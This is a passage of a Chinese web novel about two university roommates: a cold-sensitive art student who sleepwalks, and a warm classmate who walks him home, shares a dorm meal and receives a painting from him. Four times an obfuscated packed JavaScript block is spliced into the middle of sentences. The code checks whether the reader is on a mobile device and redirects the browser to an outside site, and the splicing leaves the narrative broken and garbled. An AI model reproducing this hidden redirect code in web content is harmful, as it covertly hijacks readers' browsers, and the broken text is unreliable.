沈知浔刚看见这句话,就瞥见窗户外面的楼下多了一道身影,谢时泽从教学楼下面走到雨里,他手里拿着一把能够容纳两个人的黑伞,握着伞柄仰头朝楼上看了过来。 身后是细密的雨丝,他握着伞柄转了转,落在雨伞上的雨珠向周围溅落,待目光触及到沈知浔站立的窗户旁边时,俊秀好看的眉眼弯起一瞬。 即便从手机上知道谢时泽过来了,真正看到人时沈知浔心底还是泛起了一丝涟漪。 谢时泽没在外面待太久,看到沈知浔后就回了教学楼下面。 紧接着沈知浔就收到消息。 谢时泽 :[下来吧,小画家。向晓他们在宿舍点了外卖大餐,现在回去刚刚好。] 沈知看完消息,嘴角不由自主的露出一个很浅的笑,收好手机,把背包背上,转身就往外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051000|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面走。 有人见他的动作,疑惑 :“沈知浔,有人来给你送伞吗?” 几不可闻,稍不注意就会湮灭在风里的回应。 “嗯。” - 外面雨势渐大,冷空气来袭。 沈知浔从画室出来感受到了比中午来画室时还要冷的气温,画室在三楼,他一路下来,看到站在教学楼里的谢时泽。 隔着一层玻璃和朦胧的雨幕,看得不如现在真切,黑色的伞合上立在旁边,雨珠顺着伞身往下滴水,谢时泽倚靠在一边的墙上。 沈知浔小跑到谢时泽身边,先下意识地打量了一下他的穿着,骤然降低的气温,他也只比平时穿得厚了一点,和裹得严严实实的沈知浔比起来,简直像在过两个季节。 谢时泽见他跑过来,拿起放在一旁立着的雨伞,即将踏进雨幕前,转头说 :“今天有点冷。” 沈知浔已经切身体会到了,嗯了一声,不明所以地看着谢时泽。 谢时泽嘴角翘起,在他面前摊开自己散发着温暖气息的手 :“要牵吗?” 沈知浔无疑是心动的,下着雨的气温低得不同以往,就算牵手只能暖和到手掌,也总比连手掌都暖不到得强,把手搭在谢时泽手心 :“要。” 谢时泽嘴角的笑容有扩大的趋势,牵着沈知浔的手放进衣服口袋里, 风中夹杂着雨丝,雨伞能隔绝掉雨珠,却挡不住肆虐的风。 好不容易挨到宿舍楼底下,沈知浔感觉自己半边身子都要冻僵了,脸都木了,除了被谢时泽牵着的手是暖的,其他地方都僵得不行。 谢时泽收好伞回头看到沈知浔轻轻从胸腔里呼出口气,他皮肤很白,不知道是不是错觉,从画室走过来后,脸色好像更苍白了。 他仔细看了看,确定不是自己的错觉,吹了风后,沈知浔的脸色苍白,唇瓣都失去了血色。 谢时泽稍稍有些不可思议,转瞬又想到,如果不是冷得受不了,像沈知浔这样的性格,是不会向他提出牵手的请求的。 只是亲眼关注到他的变化,还是让谢时泽对这位漂亮舍友的体弱程度有了点浅显的了解。 沈知浔见谢时泽的目光落在他脸上,下意识地抿了抿唇,对上谢时泽紧皱的眉头,不解地眨了眨眼。 光是触碰到的手都是冰凉的,不敢想象对方的脸和其他地方会有多冷,谢时泽露出思考的表情 :“抱一下是不是比牵手更暖和一点?” “?!” 沈知浔简直怀疑自己听错了,他没说话,谢时泽却从他的表情看出端倪,上前一步,张开手抱住了他。 温暖的气息从另一个人身上传来,紧紧的将他包裹住,将周围肆虐的冷风都隔绝在外,是沈知浔从未接触过的温暖。 他微微睁大眼睛,下意识抬手想要回抱住谢时泽,让这股温暖更贴近自己,抬手时忽然像是有什么顾虑一样慢慢顿住了。 谢时泽察觉到了,以为沈知浔是在担心被人看见 :“下着雨,没人会出来的。” 不是…… 沈知浔张了张嘴,又闭了闭眼,还是艰难万分地问出了口 :“谢时泽,你只抱我这一次吗? 他的手垂在身侧,抬起、落下,纠结又犹豫,攥紧的手指在掌心留下一道很深的印记。 春天对于沈知浔来说还很漫长,如果习惯了这种被紧紧包裹的温暖,不再满足于牵手或者别的取暖工具该怎么办? 沈知浔有些苦恼,谢时泽不是故意的,但他确确实实、在加深他的渴望。 12. 第十二章 疑问的话语落在耳畔。 谢时泽茫然地眨了眨眼,怔愣了半秒才听明白沈知浔的话,嘴角扬起笑 :“你在担心以后你冷了我不帮你取暖是吗?” 沈知浔动作幅度不大的点头,不仔细看根本难以察觉,平心而论,他很喜欢被谢时泽抱着的感觉,全身心都被温暖包围,竭力冷静地说 :“拥抱比牵手更不方便。” 绕是沈知浔这样不懂交际的人都知道。 谢时泽随和的声音近在耳畔,手还轻轻拍了拍他的肩膀 :“那抱着确实是比牵手更暖和的是吗?” 沈知浔轻轻地嗯了一声。 谢时泽的体温比他高,刚吹了风就被这样紧紧抱着,身上就像贴了一个散发热气的巨型暖宝宝。 “那就不用担心了。”谢时泽毫不在意地说 :“拥抱比牵手暖和,你没那么冷了,我也没有付出什么,就抱一下而已。” “反倒你要是因为受寒感冒了、被冻坏了,那我就真要过意不去了。” 他大概是觉得原来姿势有点不方便,说话时脑袋搁在了沈知浔的肩膀上,似乎有若有似无的气息扑洒到了沈知浔脖颈上。 那块皮肤应该红了,莫名有点热,沈知浔是很怕冷的,但脖颈上的热度却让他很不自在。 他动了动,谢时泽都这么说了,也不再纠结,立马伸手回抱住他,他穿的厚,抱住谢时泽穿的比他单薄、身形却比他高大的身体时,他有种可以完全倚靠在对方怀里的感觉。 沈知浔还记着这是在宿舍楼下,抱了大概一分多钟,就克制的松开了谢时泽 :“进去吧。” 谢时泽也松开他,看着沈知浔还是苍白没有血色的脸,微微低头询问 :“不再抱一会儿吗?” 沈知浔跟他对视,摩挲着手指,骤然空荡荡的怀抱让寒风来袭的同时也让他感觉到了不适应。 被温暖紧紧环绕过才知道只能缩着身子,恨不得把脸全部藏进围巾里取暖的样子有多狼狈。 但在宿舍楼底下,已经抱了一会儿了,被人看到就不好了。 沈知浔抿了抿没有血色的唇瓣,竭力克制那股丝丝缕缕对温暖的不舍 :“下次吧。” “好。” 这么一会儿时间,天空看着就完全黑了下来,雨水淅淅沥沥的往下落。 谢时泽转身要往楼上走,就听见手机响了 :“向晓问我们怎么还没回去。” 沈知浔知道是自己耽误了时间,加快脚步往上走 :“那快走吧。” 他们到宿舍的时候就看到向晓和张康年已经把宿舍里空闲的椅子摆在了一起,桌子上面摆放着一些外卖炸鸡、披萨这些。 看到沈知浔和谢时泽进门,向晓忙不迭抬头 :“你们终于回来了,外卖都快冷了。” 张康年慢悠悠地说 :“我举报,向晓刚刚还说你们再不回来他就要偷吃了。” 向晓翻了个白眼 :“马屁精,我说偷吃的时候你明明也赞同了好吧?” 两人吵吵嚷嚷的,沈知浔进门把背包放下,转身看到谢时泽也走到了衣柜旁,找出一套干净衣服,注意到沈知浔的视线,提醒 :“虽然没淋雨,但保险起见还是换套衣服吧。” 沈知浔嗯了一声,看着谢时泽拿着衣服想往卫生间去,向晓在旁边催促 :“谢哥赶快啊,凉了就不好吃了。” “你们先吃。”谢时泽说。 “那多没有仪式感啊,都等这么久了,还在乎这么一会儿吗?”向晓说。 谢时泽闻言,往卫生间走的脚步一顿,又走回到衣柜旁边,跟沈知浔说 :“你去卫生间换吧。” 沈知浔手里也拿着一套厚实的衣服,身上穿的正好换下来洗了,疑惑地看着谢时泽 :“那你呢?” 谢时泽笑笑 :“我在宿舍换就行。” 沈知浔不赞同的皱眉,虽然对于他来说宿舍和卫生间的温差不大,但卫生间客观来讲是比宿舍要暖和一点的。 他看着谢时泽手臂上挂着的衣服,提议道 :“要不一起换吧。” 向晓跟着说 :“一起换,赶紧换了来吃东西。” 沈知浔都这么说了,谢时泽自然没意见。 卫生间不算很大,但容纳两个人换衣服还是绰绰有余的,两人背对着,沈知浔穿的比较厚,脱了外面的外衣,里面还有一件毛衣和保暖衣。 他想着外面等着吃饭的向晓和张康年,换衣服的动作不自觉加快,等他套外衣的时候余光不经意瞥到谢时泽在套卫衣。 他手臂抬起的时候拉扯着下摆的衣服,露出了一角,能看到紧实的皮肤和流畅的腹部肌肉线条。 沈知浔在发现谢时泽套好卫衣要转身的时候就移开了视线。 谢时泽转身看到沈知浔,忽然笑了一下,沈知浔眼含询问地看着他,谢时泽指着沈知浔脑袋上的头发 :“翘起来了,我帮你压下去?” 镜子被谢时泽挡住了,沈知浔问 :“头发翘起来的很多吗?” “不多。”谢时泽抬手在沈知浔脑袋上压了压,沈知浔看着清冷,但头发很柔软。 他被碰脑袋时漂亮的眼睛圆溜溜的睁着,纯粹、澄澈,就这么抬着眼睛看过来,谢时泽没忍住揉了一下。 收回手,手指间还残留柔软的触感,有点像抚摸过什么小动物一样,谢时泽回味了一下触感 :“出去吧。” 向晓和张康年坐在床边玩手机,见他们出来立马来了精神。 他们昨晚玩了个通宵,今天也起得晚,随便对付了两口就等着晚上这顿了,向晓桌子上的东西都挪到了床上,桌子用来放大餐了。 可以说为了吃很拼了。 四个人凑在一起,外卖还配备了可乐,等人坐过来,向晓就迫不及待的拿着饮料碰杯 :“庆祝我们四人宿舍的第一次聚餐。” 张康年和谢时泽都拿起饮料碰了碰,沈知浔有些不自然也跟着碰了一下。 他没有跟舍友聚餐的经验,阮兆兴不算,这是所有舍友凑在一起吃东西,碰了杯,喝了一口饮料,有些新奇。 谢时泽侧头压低声音说 :“可乐有点凉,喝一口意思意思得了。” 沈知浔看着向晓和张康年抢鸡块吃 :“宿舍经常这样聚餐吗?” “还好。”谢时泽说 :“大家有空的时候就会一起出去吃点东西,或者在宿舍吃,没空就算了。” 他问沈知浔 :“你原来的宿舍不聚吗?” 沈知浔沉默了一秒,摇了摇头。 谢时泽顺手把一块披萨拿到沈知浔面前,不怎么在意地说 :“那以后咱们多聚聚。” 他笑着示意放在沈知浔面前的披萨 :“快吃,你跟他们多吃两次饭就知道了,跟他们吃饭要用抢的。” 沈知浔看着在抢一块炸鸡的向晓和张康年,明明桌上还有其他的炸鸡,但他们好像就是要跟对方作对一样。 他说不出这种氛围是什么感觉,轻轻抿了抿唇,唇角露出了一个浅浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051001|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑。 向晓顺利从张康年手里抢下一块炸鸡,感觉抢来的更香了,抬眼就看到沈知浔嘴角尚未收起的笑,在心里小小的惊艳了一下,忽然问 :“沈知浔,我听说你们系里要举办活动?” 沈知浔嗯了一声 :“是学校联合其他几所高校举办的创意节。” 向晓 :“那你要参加吗?” 沈知浔 :“要报名,但作品能不能被选中还不清楚。” 张康年道 :“你如果报名肯定能被选上啊,拿过那么多奖,学校不选你选谁。” 沈知浔轻轻摇头 :“只有三个名额,这次报名面向的群体是所有艺术系的学生,大三大四也有很优秀的美术生。” 沈知浔也没把握自己一定会被选上。 谢时泽拿着一根薯条蘸着番茄酱吃 :“那我们以后是不是要安静点,免得打扰你创作的思路?” 向晓和张康年也眼巴巴地看过来。 沈知浔跟两人对视一眼,嗓音很平和 :“不用,我画画时会很专注,你们一般打扰不到我。” 向晓和张康年顿时放下了心,吃完了这顿宵夜,几人把垃圾收拾了,桌子也擦得干干净净,尤其是向晓,把地都好好拖了一遍,生怕一个不注意在哪儿留下垃圾。 向晓和张康年收拾好宿舍就不知所踪了,谢时泽去卫生间洗澡,沈知浔坐在椅子上,虽然答应了教授会参加,但他其实没有太大的把握。 不用教授说,沈知浔也感觉他最近的状态不太稳定,又找不到原因。 随手拿出一张空白的画纸,沈知浔打算静静心,画画已经占据了他生命里的一部分,别人静心会选择玩手机、出去玩,或者干脆睡一觉。 沈知浔静不下心的时候就喜欢拿着一张空白画纸,随便在上面画点什么。 他的注意力都集中在了面前的画纸上,没注意谢时泽洗完澡出来了,见宿舍只剩下沈知浔一个人,擦着头发朝他走了过去。 “在画什么呢?” 谢时泽走过去看了眼沈知浔画纸上的素描,上面浅浅的勾勒出了一副雨天的景象,还有几栋若隐若现的教学楼。 沈知浔沉浸在画画里,突然听到声音就在他身后响起,随着这道声音而来的还有一股熟悉的气息和扑面而来的热气。 沈知浔握着画笔的手顿了顿,被这股热气感染到一样,反应都变得迟钝。 “是你们艺术楼那儿吗?” 谢时泽越看越觉得眼熟,他今天刚去过艺术楼,要是他没看过的场景就不好评价了,但才刚去过。 只觉得沈知浔浅浅几笔就把艺术楼周围的建筑,和今天的大雨都画了出来,像拍照一样,又有拍照没有的灵性,毫不吝啬地夸奖 :“画得真好。” 谢时泽不懂画,完完全全的外行,评价的标准也是好看就行,在他眼里沈知浔的画就完全符合这个标准。 今天天气阴沉,艺术楼也和任何一栋教学楼没有区别,一栋普普通通的艺术楼,在沈知浔笔下却更好看了。 沈知浔握紧画笔,谢时泽微微靠过来看画时,他头发似乎还没擦干,就在凑过来的那几秒,一滴水珠巧合地顺着他的发丝滴落到了沈知浔的脖颈上。 微凉的水珠滴到脖颈上让沈知浔轻轻瑟缩了一下。 可紧接着那片肌肤就莫名变得滚烫起来,沈知浔尚且摸不着头脑,听到谢时泽的夸赞,望着桌上的画,眨了眨眼 :“谢时泽,我送你一幅画吧。” 13. 第十三章 沈知浔说完下意识地转头直视着谢时泽的眼睛。 谢时泽身子已经站直,跟沈知浔隔着一只手臂的距离,但沈知浔转过身看着他,等待他的回答,一下就拉进了两人对视的距离。 沈知浔的眼睛很漂亮,亮得澄澈,尤其在灯光下,看上去带着股和平时截然不同的柔软。 头发柔软,皮肤白皙,微微仰头看着人,卷翘的睫毛在眼睑下面投下一片阴影,说不出的乖巧。 谢时泽想起揉过沈知浔脑袋的触感,手指有点酥酥麻麻的痒,很快反应过来 :“好啊。” 沈知浔表情认真地问 :“你有什么喜欢的吗?我可以试试,画一副你喜欢的风景画,或者别的。” 谢时泽拖着椅子坐到沈知浔旁边,指着他桌上的那幅画 :“这幅不行吗?” 他一靠近,那股沈知浔努力想忽视的热意就无孔不入的袭来,谢时泽洗过澡后体温更高了,让沈知浔注意力都不太集中,轻轻点了下头 :“这幅是随便画的。” 谢时泽看着桌上的那张画,有一搭没一搭的擦着头发,歪了歪头 :“真的不行吗?可是我觉得这幅就很好看,刚好我还去过艺术楼,这种感觉挺神奇的,白天见过的东西被画在了纸上。” “感觉你的手好神奇,能把我见过的场景画下来。” 谢时泽说话时嘴角挂着懒散的笑,语调轻快,还夹杂着一股见证了什么不可思议的事情一样,看着沈知浔的眼神微微惊叹。 沈知浔面对这种夸赞也有丝丝的不好意思,抿了抿唇,说 :“那是因为你不会画画,如果你也会学过画画,就会知道这是很简单的事情。” 谢时泽简单擦了两下头发就把干毛巾丢在了一旁,看着沈知浔,摇头 :“就算我学画也不会像你这样厉害的,从小就是个手残,没有艺术细胞。” 他自嘲了一下,又说 :“就送我这幅吧?我会好好珍藏的。” 沈知浔本来想给谢时泽画点别的,但他都这样说了,便点头了,只是目光再放到面前的画上时,不像刚才那么随意了。 他打算今天先描线,明天再把这幅画带去画室上色。 沈知浔握着画笔,想用比平时画练习时还要细心的专注力画这幅送给谢时泽的画。 但不知道为什么,这次握着画笔远没有刚才专注。 他以为是手冷的原因,看着把椅子拖过来坐在他旁边,正低头看手机的谢时泽,大概是察觉到他的视线,谢时泽从屏幕上各式各样的画框中抬起头。 瞧见沈知浔看似委婉,实则抿着唇瓣,眼神若有似无往他手上瞥的眼神,嘴角弯了弯,善解人意的伸出手,去牵沈知浔的手 :“牵着暖和。” 沈知浔轻轻嗯了一声,将目光转移到面前的画纸上,顿了顿。 他以为他是怕冷,所以注意力才无法集中,但已经牵到谢时泽的手了,为什么注意力还是不如之前一个人在宿舍时集中? 如果说和之前有什么差别。 沈知浔慢慢将视线放到谢时泽身上,那就是宿舍多出了一个人。 可是向晓和张康年在宿舍打游戏都不会影响到他。 谢时泽安安静静的在宿舍怎么可能影响到他? 沈知浔蹙着眉,找不到原因,只能归结于他最近状态下滑的太严重了。 - 沈知浔没忘记把送给谢时泽的画带去画室。 他在画室画画的效率远比在宿舍高,在思考以后要不要在画室多待一会儿,把练习画完了再回去。 他又是最早到画室的,画室的同学进来时看到他都有种“果然”的感觉,坐在沈知浔旁边的女生习惯性地想观摩大神作品。 见沈知浔画板上是一幅“雨天的教学楼”,沈知浔做了模糊处理,教学楼并没有一比一还原艺术楼,而学校内的教学楼太多了,女生一时间也没认出就是在艺术楼底下。 教学楼和树梢之间,阴沉的天气,画面看着却并不沉闷,举着一把黑伞的男生站在雨中微微仰着头,男生的面容被模糊了,只能看得出身形挺拔,气质不俗。 沈知浔的画功无疑是非常出色的,对颜色的明暗度也很敏锐,整幅画面看着很和谐。 女生看着看着忍不住赞叹 :“画得好有张力,好鲜活。” 周围人闻言也忍不住凑过来看,看到画板上的画时发出了和女生一样的感叹,见沈知浔停下画笔,有人问 : “画得好好。沈知浔,这是你准备报名创意节的画吗?” 画室另一角的魏林也不动声色地凑了过来,他也想参加创意节,看到沈知浔画板上的画时,眼里闪过一抹惊艳,就听见沈知浔摇头说 : “不是,这幅画是……画来练习的。” 魏林诧异地看着沈知浔,他知道自己跟沈知浔是存在实力差距的,但这幅在他看来都可以拿去参赛的画,竟然只是人家的日常练习!? 周围同样响起惊呼,感叹“人和人之间的差距”,沈知浔没在意,他送给谢时泽的画确实要用心些。 正要再仔细斟酌一下细节,靠近门口的同学突然回头 :“沈知浔,有人找。” 现在是下课时间,沈知浔抬头朝门外看了一眼,看到外面站着的人,不着痕迹地皱了皱眉。 找沈知浔的是他的上一个舍友,孟良。 他在微信上加沈知浔后没被通过,忍不住找到了沈知浔的画室。 看着沈知浔出来,孟良道 :“有时间吗?聊一聊。” 沈知浔点了点头,跟着他走到了走廊的僻静处。 孟良上来就直截了当地问 :“沈知浔,你真的不考虑搬回去吗?” 沈知浔一听就知道对方还没有死心,淡淡道 :“不考虑。” 孟良不死心 :“你现在的新舍友知道你梦游吗?我们好歹住了快一年,彼此的生活习惯都磨合好了,梦游的事大家也都知道了,完全比你去新宿舍重新跟舍友磨合的好。” 沈知浔不为所动 :“这是我的事。” 他说完转身就想走,孟良的声音紧随其后 :“你梦游的事多少也会给舍友添麻烦吧,短时间或许他们可以接受,长时间下来呢?谁在半夜起夜的时候看到舍友在宿舍乱晃会不害怕?” 沈知浔脚步一顿,没转身,往画室的方向走了。 孟良走后,沈知浔坐在画板后面有些出神,孟良的话虽然不好听,但还是有几分道理的。 沈知浔还没像向晓和张康年坦白,他们看着大大咧咧的,不知道能不能接受,而且也不知道他这两天有没有梦游。 沈知浔蹙着眉冥思苦想,这两天没有感冒,也没有听哪个舍友说起过这件事。 应该……是没有的吧? - 沈知浔今天下了课去吃了晚饭,没有像往常一样直接回宿舍,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051002|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在画室画画,太过聚精会神一时就忘记了时间。 他是被消息提醒的声音从沉浸的状态中拉回来的,拿出来看消息的时候顺便看了眼时间,已经快十点钟了。 往常在宿舍这时候沈知浔都要准备洗澡,然后再磨蹭一会儿就上床睡觉,他作息特别规律。 消息是谢时泽发过来的。 谢时泽 :[你们今天课上的这么晚吗?[皱眉]] 沈知浔赶紧解释 :[不是,我在画室画画。] 谢时泽 :[我来给你送伞的那个画室?] 沈知浔 :[嗯。] 谢时泽 :[几楼?] 沈知浔不明所以 :[三楼。] 他回完这条消息等了等,没再等到谢时泽的回复,便拢了拢衣服继续画画,刚下过一场雨,这两天夜间天气有点冷。 他专心画画没注意到画室外不知何时多出一道身影。 直到沈知浔画完这幅画,才注意到画室忽然多出个人。 他眼里闪过一抹茫然,确定自己没有看错,想到谢时泽在手机上问他画室在几楼,带着点不确定地开口 :“谢时泽?” 谢时泽安安静静坐在对面玩手机,闻言抬起头,“嗯”了一声,扫了一眼沈知浔画板上的画 :“画完了?” 沈知浔点点头,他眨了眨眼,谢时泽也没有消失,回过神来,从背包里把画好的画给他 :“送给你。” 谢时泽接过,绕是他这样不懂画的人,看到的第一眼也被惊艳了,他根本不知道什么色彩搭配、明暗度、线条够不够流畅,只是看着就有种怕弄坏的小心翼翼的感觉。 他有些不可置信 :“画得这么好,真的送我?” “当然。”沈知浔点头 :“本来就是画给你的。” 谢时泽仔细收好画,嘴角弯起一个弧度 :“我的画框还在路上,过几天才能到,不知道放宿舍会不会被弄坏。” “不会弄坏。”沈知浔看谢时泽收好画,没忍住,轻轻问出声 :“谢时泽,你是来接我的吗?” 谢时泽笑着点头 :“嗯。” 沈知浔 :“为什么?” 他微微仰着头,眼里露出困惑,想不明白,沈知浔以前也在画室待到过很晚都没回去,灵感来了挡都挡不住,可还是第一次有人来接他。 谢时泽嘴角本来挂着若有似无的笑,见他一脸疑惑的表情,稍稍正色道 :“都这么晚了你还没回去,平常这个时间点你已经在准备睡觉了。” “向晓和张康年野惯了,夜不归宿都是常有的事情,没什么好担心的,但是你,沈知浔同学,你突然这么晚还不回来,就很不同寻常。” 沈知浔微微怔了怔,嗓音低低的 :“你都不嫌麻烦吗……” 从宿舍楼走到画室不算近,而且在手机上也知道他在画室,没出什么事,完全没必要走这一趟的。 他的声音很轻,但画室足够安静,那稍不注意就会被遗漏的声音还是传到了谢时泽的耳朵里。 他轻轻笑了起来,眉眼俊秀,有种说不出的韵味,语调不疾不徐地问沈知浔 :“你送我的这幅画也要花费很多时间,你觉得麻烦吗?” 沈知浔张了张口,说不出话。 谢时泽却好像听到他说什么了一样,没忍住抬起手在他脑袋上揉了揉,扬起笑容,自顾自地点头 :“哦,我也不觉得麻烦。” 14.第十四章 “……” 这怎么能一样? 沈知浔顿了顿,抿了抿唇,很认真地跟谢时泽说 :“你帮了我很多,送你一幅画是应该的。” 他还觉得画画是他的日常,只送一幅画太简单了。 “这有点双标了啊。” 谢时泽好整以暇地听完沈知浔的理由,歪了歪头 :“你画一幅画起码要花几个小时,我来接你就只用十几分钟,算下来还是我赚了呢。” “按这样算,我还能来接你几十次。” 沈知浔彻底无话可说,默默收拾自己的东西。 谢时泽站在旁边嘴角上扬的看他收拾好,他问 :“今天画得不顺利吗?” 沈知浔想了想,他住进新宿舍后第一次在画室画这么久,目光复杂的落在谢时泽身上,他该怎么说他在宿舍画画思路会被扰乱? 沈知浔知道这是自己的问题,跟谢时泽没有关系,声音含糊道 :“在画室更有灵感。” 谢时泽“哦”了一声,两人往画室外走,现在已经十点多了,春季的夜晚漆黑,夜色浓厚,还吹着冷风,他自然的牵着沈知浔的手往自己的口袋里塞。 “那你以后还要在画室画完才回来吗?” 沈知浔手指缩在谢时泽怀里,夜晚的校园更冷了,慢慢往谢时泽的方向靠,摇了摇头 :“如果状态好的话就不用。” 他想起什么,微微偏头望着谢时泽 :“我这几天应该没有梦游吧?” 向晓和张康年经常去隔壁宿舍打游戏,沈知浔很多时候都不知道他们什么时候回来的,宿舍里除了他算得上良好作息的就只剩下谢时泽了。 谢时泽“唔”了一声,笑笑 :“应该没有吧。” 沈知浔不疑有他,想了想,侧过身跟谢时泽说 :“我不知道我梦游时是什么样的,只听以前的舍友说过,半夜起来看到我站在宿舍一动不动,保不准会给你们添什么麻烦。” 谢时泽耐心听着,沈知浔顿了顿,眨着黑白分明的眼睛 :“如果下次你再碰到我梦游,可以把我梦游时的样子拍下来吗?” 一无所知的感觉很不好。 林荫道两旁有路灯,照亮了脚下的路,谢时泽偏头就看到沈知浔微微缩着下巴,半张脸藏进衣服领口,眨着双漂亮的大眼睛看着他。 谢时泽很多时候都觉得沈知浔眨着眼睛,乖乖软软看着他的样子很像一些柔软的小动物,让人想摸摸他的脑壳。 有种和容貌强烈的反差感。 “好。” 谢时泽抬起另一只手顺应心意的在沈知浔脑袋上揉了揉 :“不过你不用抱太大的压力,你能给我们添什么麻烦,我们不吵到你就好了。” … 谢时泽一路牵着沈知浔回了宿舍,宿舍黑漆漆的一片,连灯都没开,谢时泽耸耸肩,无奈 :“又去打游戏了。” 沈知浔知道他在说向晓和张康年,很多人都喜欢打游戏,他也见过谢时泽玩游戏,不过对于对方来说,游戏更像是打发时间的东西,并没有特别钟爱。 谢时泽 :“快到你平时睡觉的点了,你先洗漱吧。” 沈知浔点点头,放下背包拿着衣服去洗漱了。 宿舍很安静,谢时泽百无聊赖的开了一局游戏,等沈知浔洗漱出来,他一局游戏还没结束。 沈知浔没有打扰他,洗漱过后就躺到床上,现在的气温对于他来说还太冷,躺在被子里能好过一点。 他看了一会儿手机就感觉到了困意,把手机锁屏,慢慢进入了梦乡。 谢时泽打完一局游戏,看着连床帘都拉的严严实实,一丝光都透不出来的床铺,慢悠悠的起身去洗澡了。 谢时泽洗澡很快,不到二十分钟就擦着头发出来,他每次洗澡都要洗头,又懒得用吹风机,草草擦几下,就等着它自己干。 正想去把灯关了,趿拉着拖鞋朝门口走了两步。 身后突然响起一点动静。 谢时泽莫名有种预感,扬了扬眉,转身果然看到沈知浔掀开床帘从床铺上爬起来。 他这是第一次在亮着灯时碰见沈知浔梦游。 梦游时的沈知浔和平时没什么区别,就是表情更呆板了一点,视线没有焦距。 谢时泽犹豫要不要关灯,看沈知浔从床上爬起来就站着不动,视线望着虚空,思索半秒,朝人走了过去 :“沈知浔?” 沈知浔今天穿的依旧是那件大领口的睡衣,在黑夜中都能透出一点白皙的皮肤,在灯光下这点白更是近乎透明,纤长的天鹅颈散发着莹润的光泽。 他似乎是听到了谢时泽的声音,脸上的表情有了些许波动,毫无焦距的视线慢慢落到谢时泽身上。 像是才注意到他一样。 他脸上的表情不再呆板,变得生动了许多,慢慢迈开脚步朝谢时泽走来。 刚走到谢时泽面前,肩膀上就多出件外套,沈知浔的脚步顿了顿,脸上依旧没有太多表情。 谢时泽把床边自己的外套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢时泽除了刚被抱住的时候有点不适应外,没觉得有什么,他大概能猜到沈知浔抱他的原因。 怕冷的漂亮舍友在取暖罢了。 他弯起唇角,谁会去在意一个在梦游的人的行为冒不冒犯呢? 默默的把人抱紧,直到沈知浔像是嫌他身上的衣服碍事似的,想要更靠近热源,去掀他的睡衣。 谢时泽才眉心一跳,双手环住他的腰,和掀开衣服贴着还是不一样,拽住沈知浔作乱的手,语气却很随意,微微低下头 :“沈知浔,再漂亮可爱也不能掀人衣服啊。” 15.第十五章 宿舍里很安静,谢时泽的话音落下后,沈知浔依然没有半点反应。 他作乱的手被谢时泽握住,视线没有焦距的望着虚空,被阻止了想要更深层次的靠近热源,他像是经过了一次缓慢的思考,亦或是本能反应。 收回了掀衣服的动作,手臂重新钻进谢时泽的睡衣里,紧紧抱住。 非常好说话。 谢时泽看着他“能屈能伸”的举动,莞尔,就这么抱了一会儿,沈知浔仿佛意识到自己该回床上睡觉了。 他微微拉开了一点和谢时泽之间的距离,不同于上次梦游时走的洒脱又毫不留恋。 这次他的手纠结了一下还是缩在谢时泽的睡衣里,冰凉的手贴着紧致的肌肤,触感温热滑腻,源源不断的散发着热意,远比其他的取暖工具要舒服。 明明他没有说话,脸上的情绪波动几近于无,谢时泽却好似感受到了漂亮舍友的犹豫不决。 潜意识里知道该回床上了,又不想这么快放开“巨型暖宝宝”。 谢时泽微微低头,看着沈知浔陷在自己的思绪里凝神思考的样子,眉心几不可见的蹙了起来。 谢时泽忍不住伸手轻轻碰了碰他眉心皱起的地方,嗓音轻轻的 :“该回去睡觉了。” 手指轻轻碰了一下眉心,沈知浔垂着眼眸,艰难地在睡觉和“暖宝宝”中拉扯,对他的动作浑然未觉。 谢时泽耐心地等着漂亮舍友进行取舍,几秒后,沈知浔松开谢时泽,转身往自己的床铺走。 谢时泽轻轻笑了一下,虽然有些不合时宜,但他觉得漂亮舍友和童话里的仙度瑞拉有一点点像,都是半夜出现,到时间又准时离开。 他看着沈知浔熟门熟路的返回,回到床铺上,拉紧床帘,正想转身去关灯,想起什么似的“嘶”了一声。 他的衣服忘拿回来了。 应该……没什么事吧? - 第二天是周末,沈知浔迷迷糊糊的睁开眼,大脑还有些迟钝的反应不过来,躺在床上缓了缓才伸手去拿床头的手机,想看看时间。 这一伸手碰到的不是手机,而是一件外套,外套……? 沈知浔迷惑地又摸了摸,确定是外套无疑,他每次洗澡的时候都会顺便洗漱,衣服换下来就丢到脏衣篓里了,怎么会在床上? 他从床上坐起身,看着搭在被子上的外套,定定地盯着看了两秒。 